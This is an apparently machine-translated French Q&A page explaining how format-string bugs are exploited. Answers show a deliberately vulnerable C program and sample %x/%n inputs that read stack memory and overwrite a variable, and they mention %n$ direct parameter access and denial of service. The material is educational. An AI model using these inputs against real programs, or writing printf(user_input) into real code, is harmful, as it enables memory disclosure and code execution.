web-dev-qa-db-fra.com

Comment une vulnérabilité Format-String peut-elle être exploitée?

J'étais en train de lire sur les vulnérabilités dans le code et suis tombé sur cette Vulnérabilité du format de chaîne.

Wikipedia dit:

Les bogues de chaîne de format apparaissent généralement lorsqu'un programmeur souhaite imprimer une chaîne contenant des données fournies par l'utilisateur. Le programmeur peut écrire par erreur printf (tampon) au lieu de printf ("% s", tampon). La première version interprète le tampon comme une chaîne de formatage et analyse toutes les instructions de formatage qu’il peut contenir. La deuxième version affiche simplement une chaîne à l'écran, comme le programmeur le souhaitait.

J'ai eu le problème avec la version printf (tampon), mais je n'ai toujours pas compris comment cette vulnérabilité peut être utilisée par un attaquant pour exécuter du code nuisible. Quelqu'un peut-il me dire comment cette vulnérabilité peut être exploitée par un exemple?

64
Atul Goyal

Vous pourrez peut-être exploiter une vulnérabilité de chaîne de format de plusieurs manières, directement ou indirectement. Utilisons l'exemple suivant (en supposant qu'aucune protection du système d'exploitation ne soit pertinente, ce qui est très rare de toute façon):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

La base de cette vulnérabilité est le comportement des fonctions avec des arguments variables. Une fonction qui implémente le traitement d'un nombre variable de paramètres doit essentiellement les lire à partir de la pile. Si nous spécifions une chaîne de format qui obligera printf() à s'attendre à deux nombres entiers sur la pile et si nous ne fournissons qu'un seul paramètre, le second devra être différent de la pile. Par extension, et si nous avons le contrôle sur la chaîne de format, nous pouvons avoir les deux primitives les plus fondamentales:


Lecture d'adresses de mémoire arbitraires

[EDIT] IMPORTANT: Je fais quelques hypothèses sur la disposition du cadre de la pile ici. Vous pouvez les ignorer si vous comprenez le principe de base de la vulnérabilité et que, de toute façon, ils varient selon le système d'exploitation, la plate-forme, le programme et la configuration.

Il est possible d'utiliser le paramètre de format %s Pour lire des données. Vous pouvez lire les données de la chaîne de format d'origine dans printf(text), vous pouvez donc l'utiliser pour tout lire dans la pile:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Ecrire dans des adresses de mémoire arbitraires

Vous pouvez utiliser le spécificateur de format %n Pour écrire (presque) à une adresse quelconque. Encore une fois, supposons que notre programme vulnérable ci-dessus, et essayons de changer la valeur de some_value, Située à 0x08049794, Comme on le voit ci-dessus:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

Nous avons remplacé some_value Par le nombre d'octets écrits avant que le spécificateur %n Ne soit rencontré (man printf). Nous pouvons utiliser la chaîne de format elle-même ou la largeur du champ pour contrôler cette valeur:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

Il existe de nombreuses possibilités et astuces à essayer (accès direct aux paramètres, grande largeur de champ permettant un bouclage, construction de vos propres primitives), et cela ne fait que toucher la partie visible de l'iceberg. Je suggérerais de lire davantage d’articles sur les vulnérabilités des chaînes de caractères (Phrack en propose d’excellents, bien qu’elles soient peut-être un peu avancées) ou un livre qui aborde le sujet.


Disclaimer: les exemples sont pris [bien que pas verbatim] du livre Piratage: L'art de l'exploitation (2nd ed) de Jon Erickson.

96
Michael Foukarakis

Il est intéressant de noter que personne n’a mentionné la notation n$ Supportée par POSIX. Si vous pouvez contrôler la chaîne de format en tant qu'attaquant, vous pouvez utiliser des notations telles que:

"%200$p"

lire le 200th élément sur la pile (s'il y en a un). L’intention est de lister tous les nombres n$ De 1 au maximum, ce qui permet de reséquencer la façon dont les paramètres apparaissent dans une chaîne de formatage, ce qui est pratique pour traiter avec I18N (L10N, G11N, M18N*).

Cependant, certains (probablement la plupart) des systèmes ne sont pas très à l'aise avec la façon dont ils valident les valeurs n$, Ce qui peut donner lieu à des abus de la part d'attaques capables de contrôler la chaîne de formatage. Combiné avec le spécificateur de format %n, Cela peut conduire à l'écriture aux emplacements de pointeurs.


* Les acronymes I18N, L10N, G11N et M18N désignent respectivement l’internationalisation, la localisation, la mondialisation et la multinationalisation. Le nombre représente le nombre de lettres omises.

15
Jonathan Leffler

Ah, la réponse est dans l'article!

La chaîne de format non contrôlée est un type de vulnérabilité logicielle découverte vers 1999 qui peut être utilisée dans des exploits de sécurité. Pensée auparavant inoffensives, les exploits de chaîne de format peuvent être utilisés pour planter un programme ou exécuter du code nuisible .

Un exploit typique utilise une combinaison de ces techniques pour forcer un programme à écraser l'adresse d'une fonction de bibliothèque ou l'adresse de retour sur la pile avec un pointeur sur un shellcode malveillant. Les paramètres de remplissage des spécificateurs de format sont utilisés pour contrôler le nombre d'octets générés et le jeton %x Est utilisé pour extraire des octets de la pile jusqu'à ce que le début de la chaîne de formatage soit atteint. Le début de la chaîne de format est conçu pour contenir l'adresse que le jeton de format %n Peut ensuite écraser avec l'adresse du code malveillant à exécuter .

C'est parce que %n provoque printf to write données dans une variable , qui est sur la pile. Mais cela signifie qu’il pourrait écrire quelque chose d’arbitraire. Tout ce dont vous avez besoin est que quelqu'un utilise cette variable (c'est relativement facile s'il s'agit d'un pointeur de fonction dont vous venez juste de comprendre comment contrôler) et qu'il peut vous forcer à exécuter n'importe quoi de manière arbitraire.

Jetez un coup d'oeil aux liens dans l'article; ils l'air intéressant .

9
Mehrdad

Je recommanderais de lire this note de cours sur la vulnérabilité des chaînes de format. Il décrit en détail ce qui se passe et comment, et contient des images qui pourraient vous aider à comprendre le sujet.

2
AndreyP

Autant que je sache, c'est principalement parce qu'il peut planter votre programme, ce qui est considéré comme une attaque par déni de service. Tout ce dont vous avez besoin est de donner une adresse invalide (pratiquement n'importe quoi avec quelques %s est garanti), et cela devient une simple attaque par déni de service (DoS).

En théorie, il est théoriquement possible de déclencher quoi que ce soit dans le cas d'un gestionnaire d'exception/de signal/d'interruption, mais pour savoir comment faire cela me dépasse, vous devez déterminer comment write des données arbitraires en mémoire également.

Mais pourquoi quelqu'un s'inquiète-t-il si le programme se bloque, demandez-vous? Est-ce que cela ne dérange pas l'utilisateur (qui le mérite quand même)?

Le problème est que plusieurs utilisateurs ont accès à certains programmes, ce qui entraîne un coût non négligeable. Ou parfois, ils sont critiques pour le fonctionnement du système (ou peut-être sont-ils en train de faire quelque chose de très critique), auquel cas cela peut endommager vos données. Bien sûr, si vous plantez le Bloc-notes, personne ne s'en souciera, mais si vous plantez CSRSS (qui, je crois, avait un type de bogue similaire - un bogue à double libération, en particulier), alors oui, tout le système est en train de tomber en panne. .


Mise à jour:

Voir ce lien pour le bogue CSRSS auquel je faisais référence.


Modifier:

Notez que lire des données arbitraires peut être aussi dangereux que d'exécuter du code arbitraire! Si vous lisez un mot de passe, un cookie, etc., c'est aussi grave qu'une exécution de code arbitraire - et c'est trivial si vous avez juste le temps d'essayer suffisamment de chaînes de formatage.

0
Mehrdad